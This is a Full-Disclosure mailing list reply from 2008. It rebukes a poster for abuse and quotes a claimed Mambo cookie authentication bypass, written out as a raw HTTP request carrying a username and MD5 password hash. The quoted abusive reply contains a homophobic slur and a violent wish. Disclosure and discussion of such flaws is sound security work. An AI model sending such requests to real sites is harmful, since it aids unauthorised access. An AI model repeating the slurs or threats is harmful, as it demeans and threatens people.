-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 And situations involving social interaction are not for you. Please avoid them at all costs until social skills improve.
Oh, and please read the list charter that was recently distributed. On it, you will see that offensive language and personal attacks are disallowed. G - ----- Original Message ----- From: <[EMAIL PROTECTED]> To: <full-disclosure@lists.grok.org.uk> Cc: <[EMAIL PROTECTED]> Sent: Tuesday, June 10, 2008 3:05 AM Subject: Re: [Full-disclosure] Mambo Cookie Authentication Bypass Exploit > So to perform this 'bypass' you need the password in the first > place? You absolute fucking morons, the security scene is not for > you. I hope someone stabs you over a food stamp. Faggots. > > ------------------------------------------------------------ > Halabaluza Team Halabaluza Team halabaluza.team at gmail.com > Sun Jun 8 12:29:56 BST 2008 > > * Previous message: [Full-disclosure] avira update.exe > * Next message: [Full-disclosure] [ GLSA 200806-03 ] Imlib 2: > User-assisted execution of arbitrary code > * Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] > > for mambo <= 4.5.5 and <= 4.6.2 maybe others > > GET http://[TARGET]/index.php > Host: [TARGET] > User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) > Gecko/2008050509 Firefox/3.0b5 > Accept: > text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/ > plain;q=0.8,image/png,*/*;q=0.5 > Keep-Alive: 300 > Connection: keep-alive > Cookie: usercookie[username]=[USERNAME];usercookie[password]=[MD5] > Cache-Control: max-age=0 > > FREE TIBET! > > > -- > Smart Girls Secret Weapon > Read Unbiased Beauty Product Reviews, Get Helpful Tips, Tricks and Sam > http://tagline.hushmail.com/fc/JKFkuIjyaUM3E9zcp2f7ppavbouTIiiPdCquThperf > oYTGho1dzYFq/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.8.3 (Build 4028) - not licensed for commercial use: www.pgp.com Charset: utf-8 wj8DBQFITn9RSGIRT5oVahwRAvPpAKCG3E5/0eqUAqXDy/+wMucj4JqtkQCeICbU R106Zq59OTfeb8s0RFcXY10= =FPM3 -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
